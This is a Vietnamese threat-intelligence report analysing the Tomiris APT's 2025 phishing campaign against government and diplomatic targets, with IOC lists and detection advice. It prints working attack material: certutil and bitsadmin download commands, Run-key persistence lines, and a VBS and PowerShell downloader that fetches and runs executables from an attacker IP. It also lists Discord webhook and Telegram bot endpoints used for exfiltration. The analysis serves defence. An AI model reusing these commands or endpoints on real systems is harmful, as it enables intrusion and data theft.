Phân tích chiến dịch tấn công Tomiris 2025 – Báo cáo kỹ thuật chi tiết

Trong quá trình theo dõi nhóm APT Tomiris, chúng tôi đã phát hiện một loạt chiến dịch tấn công mới bắt đầu từ đầu năm 2025. Các hoạt động này nhắm vào các bộ ngoại giao, tổ chức liên chính phủ, và cơ quan nhà nước, cho thấy mục tiêu rõ ràng là cơ sở hạ tầng ngoại giao và chính trị có giá trị cao.
Ở nhiều trường hợp, chúng tôi theo dõi được toàn bộ chuỗi tấn công – từ khi nạn nhân bị xâm nhập cho đến giai đoạn triển khai các công cụ hậu khai thác (post-exploitation frameworks).
Một điểm đáng chú ý là Tomiris đã thay đổi chiến thuật: tăng cường sử dụng implant giao tiếp qua dịch vụ công cộng như Telegram và Discord để thực hiện C2. Cách này giúp che giấu lưu lượng độc hại dưới dạng lưu lượng hợp pháp, khiến việc phát hiện trở nên khó khăn hơn.
Phần lớn ca nhiễm bắt đầu bằng việc cài implant shell đảo ngược (reverse shell) viết bằng nhiều ngôn ngữ: Go, Rust, C/C#/C++, Python. Từ đó, kẻ tấn công tiếp tục tải về framework hậu khai thác Havoc hoặc AdaptixC2.
Tóm tắt kỹ thuật
Phát hiện nhiều implant mới viết bằng nhiều ngôn ngữ khác nhau
Nhiều implant sử dụng Telegram hoặc Discord làm C2
Ghi nhận việc triển khai Havoc và AdaptixC2 trong giai đoạn hậu khai thác
Các mã độc trong chiến dịch được Kaspersky nhận diện dưới các định danh:
HEUR:Backdoor.Win64.RShell.gen
HEUR:Backdoor.MSIL.RShell.gen
HEUR:Backdoor.Win64.Telebot.gen
HEUR:Backdoor.Python.Telebot.gen
HEUR:Trojan.Win32.RProxy.gen
HEUR:Trojan.Win32.TJLORT.a
HEUR:Backdoor.Win64.AdaptixC2.a
1. Giai đoạn xâm nhập ban đầu
Cuộc tấn công bắt đầu bằng email lừa đảo chứa một tệp nén có mật khẩu.

Mật khẩu thường được ghi ngay trong nội dung email. Bên trong là một file thực thi, đôi khi bị ngụy trang dưới icon tài liệu Office hoặc dùng double-extension như:
document.doc .exe
Ngoài ra, nhiều file có tên rất dài khiến phần đuôi .exe bị che khuất khi xem trong trình duyệt archive.

Khi người dùng mở file, implant ban đầu sẽ được kích hoạt. Tùy trường hợp, các implant khác nhau nhưng thường giữ cùng tên file trong archive.
2. Các implant được sử dụng
2.1 Tomiris C/C++ ReverseShell

Đây là reverse shell đơn thuần, được vận hành thủ công bởi attacker. Ngay sau khi chạy, attacker sẽ:
Bước 1 – Do thám hệ thống
Chạy các lệnh như:
whoami
ipconfig /all
systeminfo
hostname
net user /dom
dir
Bước 2 – Tải implant tiếp theo (AdaptixC2)
Sử dụng công cụ tích hợp sẵn của Windows:
bitsadmin /transfer ...
curl -o ...
certutil -urlcache ...
powershell -Command Invoke-WebRequest ...
Bước 3 – Kiểm tra tải xuống thành công
Kiểm tra thư mục %temp% hoặc %public%\libraries.
Bước 4 – Thiết lập persistence
Thêm implant vào registry:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WinUpdate /t REG_SZ /d $public\pictures\winupdate.exe /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Win-NetAlone" /t REG_SZ /d "$public\videos\alone.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Winservice" /t REG_SZ /d "$public\Pictures\dwm.exe"
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurrentVersion/t REG_SZ /d $public\Pictures\sbschost.exe /f
Đánh giá:
Ba biến thể C/C++ ReverseShell được quan sát. Tất cả đều rất tối giản – không tự nhân bản, không persistence trừ khi attacker chủ động tạo.
2.2 Tomiris Rust Downloader (implant mới)

Implant chưa từng được công bố trước đây, viết bằng Rust, kích thước lớn nhưng chức năng đơn giản.
Hành vi:
1. Thu thập thông tin hệ thống
"cmd" /C "ipconfig /all"
"cmd" /C "echo %username%"
"cmd" /C hostname
"cmd" /C ver
"cmd" /C curl hxxps://ipinfo[.]io/ip
"cmd" /C curl hxxps://ipinfo[.]io/country
2. Liệt kê file
Tìm file có phần mở rộng trên các ổ C:/, D:/, E:/, F:/, G:/, H:/, I:/ hoặc J:/:
.jpg .jpeg .png .txt .rtf .pdf .xlsx .docx
Loại trừ các thư mục hệ thống như “.wrangler”, “.git”, “node_modules”, “Program Files”, “Program Files (x86)”, “Windows”, “Program Data” và “AppData”.
3. Gửi dữ liệu lên Discord
Gửi JSON thông tin hệ thống + danh sách đường dẫn file qua webhook Discord.
hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX

4. Triển khai giai đoạn tiếp theo
Tạo script.vbs và script.ps1. Script PowerShell chạy vòng lặp 60 giây, cố tải về:
http://193.149.129.113/<PC_NAME>/1.zip
Giải nén vào %TEMP%\rfolder và chạy tất cả .exe.
Nội dung file script.vbs:
Set Shell = CreateObject("WScript.Shell")
Shell.Run "powershell -ep Bypass -w hidden -File %temp%\script.ps1"
Nội dung file script.ps1:
$Url = "hxxp://193.149.129[.]113/<PC_NAME>"
$dUrl = $Url + "/1.zip"
while($true){
try{
$Response = Invoke-WebRequest -Uri $Url -UseBasicParsing -ErrorAction Stop
iwr -OutFile $env:Temp\1.zip -Uri $dUrl
New-Item -Path $env:TEMP\rfolder -ItemType Directory
tar -xf $env:Temp\1.zip -C $env:Temp\rfolder
Get-ChildItem $env:Temp\rfolder -Filter "*.exe" | ForEach-Object {Start-Process $_.FullName }
break
}catch{
Start-Sleep -Seconds 60
}
}
Ghi nhận:
Trong một trường hợp, file tải xuống là payload Havoc.
2.3 Tomiris Python Discord ReverseShell

Viết bằng Python
Biên dịch bằng PyInstaller
Bị obfuscate bằng PyArmor

Chức năng:
Điều khiển C2 qua Discord API
Nhận lệnh console và trả kết quả lại C2
Tải thêm implant (AdaptixC2, Python FileGrabber)
2.4 Tomiris Python FileGrabber
Trojan này được cài đặt thông qua Tomiris Python Discord ReverseShell. Kẻ tấn công thực hiện bằng cách thực thi câu lệnh:
cmd.exe /c "curl -o $public\videos\offel.exe http://<HOST>/offel.exe"
Trojan này sẽ thu thập file cod định dạng:
.jpg .png .pdf .txt .doc .docx
Sau đó sẽ nén thành ZIP và gửi về C2 qua HTTP POST.
Bỏ qua các thư mục hệ thống (AppData, Windows, Program Files…).
2.5 Distopia Backdoor

Dựa hoàn toàn trên dự án dystopia-c2 trên GitHub
Viết bằng Python
Chức năng:
chạy lệnh
tải lên / tải xuống file
kết thúc process
cmd.exe /c "dir"
cmd.exe /c "dir C:\user\[username]\pictures"
cmd.exe /c "pwd"
cmd.exe /c "curl -O $public\sysmgmt.exe http://<HOST>/private/svchost.exe"
cmd.exe /c "$public\sysmgmt.exe"
Dùng để triển khai Python Telegram ReverseShell ở giai đoạn kế tiếp.
2.6 Tomiris Python Telegram ReverseShell
Viết Python, compile PyInstaller
Obfuscate bằng PyArmor
Giao tiếp C2 qua Telegram bot
Không phải là phiên bản mới của Telemiris – là công cụ riêng biệt

2.7 Các implant khác (giai đoạn đầu)
- Tomiris C# Telegram ReverseShell

JLORAT, là implant lâu đời từ 2022, ít thay đổi
Tomiris Rust ReverseShell, được viết bằng Rust, sử dụng PowerShell thay vì cmd.exe
Tomiris Go ReverseShell, viết bằng Golang, kết nối tới IP 62.113.114.209 port 443
PowerShell Telegram Backdoor, là backdoor được viết bằng PowerShell sử dụng Telegram để kết nối tới máy chủ C2
Tomiris C# ReverseShell, là reverse sehll được viết bằng C#

2.8 Tomiris C++ ReverseSocks
Dùng để hỗ trợ lateral movement hoặc che giấu scanner.
C++ ReverseSocks – dựa trên GitHub Neosama/Reverse-SOCKS5
Go ReverseSocks – dựa trên GitHub Acebond/ReverseSocks5
Cả hai đã bị chỉnh sửa để ẩn console.
3. Nạn nhân
Hơn 50% email phishing được viết bằng tiếng Nga, nhắm vào các tổ chức nói tiếng Nga. Số còn lại hướng đến:
Turkmenistan
Kyrgyzstan
Tajikistan
Uzbekistan
Các email chứa nội dung phù hợp với quốc gia được nhắm đến.
4. Đánh giá
Dựa trên:
Cách đặt tên file rất dài, mang tính mô tả chi tiết
File nằm trong archive có mật khẩu theo định dạng “XXX@2025“, ví dụ như là min@2025, sib@2025…
Nhiều malware khác nhau dùng chung tên file
Implant JLORAT và nhiều biến thể shell map về cùng mô hình tấn công
→ Đây là các công cụ thuộc về nhóm Tomiris
5. Kết luận
Chiến dịch Tomiris 2025 cho thấy:
Mã độc đa ngôn ngữ giúp tăng tính linh hoạt và giảm khả năng bị phát hiện
Sử dụng dịch vụ công cộng làm C2 (Telegram/Discord) để che giấu lưu lượng
Tập trung vào các mục tiêu chính phủ, ngoại giao, liên chính phủ
Dùng các framework hậu khai thác mạnh như Havoc và AdaptixC2
Để phát hiện loại hoạt động này, cần áp dụng:
Phân tích hành vi (behavioral detection)
Giám sát lưu lượng mạng
Kiểm tra bất thường trong registry, persistence, script lạ
Kiểm soát nghiêm ngặt lưu lượng tới dịch vụ công cộng (Discord/Telegram) từ máy chủ nội bộ
6. IOC
MD5 Hash:
Distopia Backdoor | B8FE3A0AD6B64F370DB2EA1E743C84BB |
Tomiris Python Discord ReverseShell | 091FBACD889FA390DC76BB24C2013B59 |
Tomiris Python FileGrabber | C0F81B33A80E5E4E96E503DBC401CBEE |
Tomiris Python Telegram ReverseShell | 42E165AB4C3495FADE8220F4E6F5F696 |
Tomiris C# Telegram ReverseShell | 2FBA6F91ADA8D05199AD94AFFD5E5A18 |
Tomiris C/C++ ReverseShell | 0F955D7844E146F2BD756C9CA8711263 |
Tomiris Rust Downloader | 1083B668459BEACBC097B3D4A103623F |
JLORAT | C73C545C32E5D1F72B74AB0087AE1720 |
Tomiris Rust ReverseShell | 9A9B1BA210AC2EBFE190D1C63EC707FA |
Tomiris C++ ReverseSocks (based on GitHub Neosama/Reverse-SOCKS5) | 2ED5EBC15B377C5A03F75E07DC5F1E08 |
Tomiris PowerShell Telegram Backdoor | C75665E77FFB3692C2400C3C8DD8276B |
Tomiris C# ReverseShell | DF95695A3A93895C1E87A76B4A8A9812 |
Tomiris Go ReverseShell | 087743415E1F6CC961E9D2BB6DFD6D51 |
Tomiris Go ReverseSocks (based on GitHub Acebond/ReverseSocks5) | 83267C4E942C7B86154ACD3C58EAF26C |
AdaptixC2 | CD46316AEBC41E36790686F1EC1C39F0 |
Havoc | 4EDC02724A72AFC3CF78710542DB1E6E |
URL:
hxxps://discord[.]com/api/webhooks/1357597727164338349/ikaFqukFoCcbdfQIYXE91j-dGB-8YsTNeSrXnAclYx39Hjf2cIPQalTlAxP9-2791UCZ
hxxps://discord[.]com/api/webhooks/1370623818858762291/p1DC3l8XyGviRFAR50de6tKYP0CCr1hTAes9B9ljbd-J-dY7bddi31BCV90niZ3bxIMu
hxxps://discord[.]com/api/webhooks/1388018607283376231/YYJe-lnt4HyvasKlhoOJECh9yjOtbllL_nalKBMUKUB3xsk7Mj74cU5IfBDYBYX-E78G
hxxps://discord[.]com/api/webhooks/1386588127791157298/FSOtFTIJaNRT01RVXk5fFsU_sjp_8E0k2QK3t5BUcAcMFR_SHMOEYyLhFUvkY3ndk8-w
hxxps://discord[.]com/api/webhooks/1369277038321467503/KqfsoVzebWNNGqFXePMxqi0pta2445WZxYNsY9EsYv1u_iyXAfYL3GGG76bCKy3-a75
hxxps://discord[.]com/api/webhooks/1396726652565848135/OFds8Do2qH-C_V0ckaF1AJJAqQJuKq-YZVrO1t7cWuvAp7LNfqI7piZlyCcS1qvwpXTZ
hxxp://62.113.115[.]89/homepage/infile.php
hxxps://api.telegram[.]org/bot7562800307:AAHVB7Ctr-K52J-egBlEdVoRHvJcYr-0nLQ/
hxxps://api.telegram[.]org/bot7804558453:AAFR2OjF7ktvyfygleIneu_8WDaaSkduV7k/
hxxps://discordapp[.]com/api/webhooks/1392383639450423359/TmFw-WY-u3D3HihXqVOOinL73OKqXvi69IBNh_rr15STd3FtffSP2BjAH59ZviWKWJRX
hxxps://discordapp[.]com/api/webhooks/1363764458815623370/IMErckdJLreUbvxcUA8c8SCfhmnsnivtwYSf7nDJF-bWZcFcSE2VhXdlSgVbheSzhGYE
hxxps://discordapp[.]com/api/webhooks/1355019191127904457/xCYi5fx_Y2-ddUE0CdHfiKmgrAC-Cp9oi-Qo3aFG318P5i-GNRfMZiNFOxFrQkZJNJsR
hxxp://82.115.223[.]218/
hxxp://172.86.75[.]102/
hxxp://193.149.129[.]113/
hxxp://82.115.223[.]210:9942/bot_auth
hxxp://88.214.26[.]37:9942/bot_auth
hxxp://141.98.82[.]198:9942/bot_auth
hxxps://api.telegram[.]org/bot8044543455:AAG3Pt4fvf6tJj4Umz2TzJTtTZD7ZUArT8E/
hxxps://api.telegram[.]org/bot7864956192:AAEjExTWgNAMEmGBI2EsSs46AhO7Bw8STcY/
hxxps://api.telegram[.]org/bot8039791391:AAHcE2qYmeRZ5P29G6mFAylVJl8qH_ZVBh8/
hxxps://api.telegram[.]org/bot7157076145:AAG79qKudRCPu28blyitJZptX_4z_LlxOS0/
hxxps://api.telegram[.]org/bot7649829843:AAH_ogPjAfuv-oQ5_Y-s8YmlWR73Gbid5h0/
hxxp://188.127.251[.]146:8080/sbchost.rar
hxxp://188.127.251[.]146:8080/sxbchost.exe
hxxp://192.153.57[.]9/private/svchost.exe
hxxp://193.149.129[.]113/732.exe
hxxp://193.149.129[.]113/system.exe
hxxp://195.2.79[.]245/732.exe
hxxp://195.2.79[.]245/code.exe
hxxp://195.2.79[.]245/firefox.exe
hxxp://195.2.79[.]245/rever.exe
hxxp://195.2.79[.]245/service.exe
hxxp://195.2.79[.]245/winload.exe
hxxp://195.2.79[.]245/winload.rar
hxxp://195.2.79[.]245/winsrv.rar
hxxp://195.2.79[.]245/winupdate.exe
hxxp://62.113.115[.]89/offel.exe
hxxp://82.115.223[.]78/private/dwm.exe
hxxp://82.115.223[.]78/private/msview.exe
hxxp://82.115.223[.]78/private/spoolsvc.exe
hxxp://82.115.223[.]78/private/svchost.exe
hxxp://82.115.223[.]78/private/sysmgmt.exe
hxxp://85.209.128[.]171:8000/AkelPad.rar
hxxp://88.214.25[.]249:443/netexit.rar
hxxp://89.110.95[.]151/dwm.exe
hxxp://89.110.98[.]234/Rar.exe
hxxp://89.110.98[.]234/code.exe
hxxp://89.110.98[.]234/rever.rar
hxxp://89.110.98[.]234/winload.exe
hxxp://89.110.98[.]234/winload.rar
hxxp://89.110.98[.]234/winrm.exe
hxxps://docsino[.]ru/wp-content/private/alone.exe
hxxps://docsino[.]ru/wp-content/private/winupdate.exe
hxxps://sss.qwadx[.]com/12345.exe
hxxps://sss.qwadx[.]com/AkelPad.exe
hxxps://sss.qwadx[.]com/netexit.rar
hxxps://sss.qwadx[.]com/winload.exe
hxxps://sss.qwadx[.]com/winsrv.exe
IP:
77.232.39[.]47
109.172.85[.]63
109.172.85[.]95
185.173.37[.]67
185.231.155[.]111
195.2.81[.]99
185.209.30[.]41
185.231.154[.]84
206.188.196[.]191
188.127.225[.]191
188.127.251[.]146
94.198.52[.]200
188.127.227[.]226
185.244.180[.]169
91.219.148[.]93
62.113.114[.]209
195.2.78[.]133
192.165.32[.]78
188.127.231[.]136
77.232.42[.]107
94.198.52[.]210
96.9.124[.]207
192.153.57[.]189
64.7.199[.]193
78.128.112[.]209






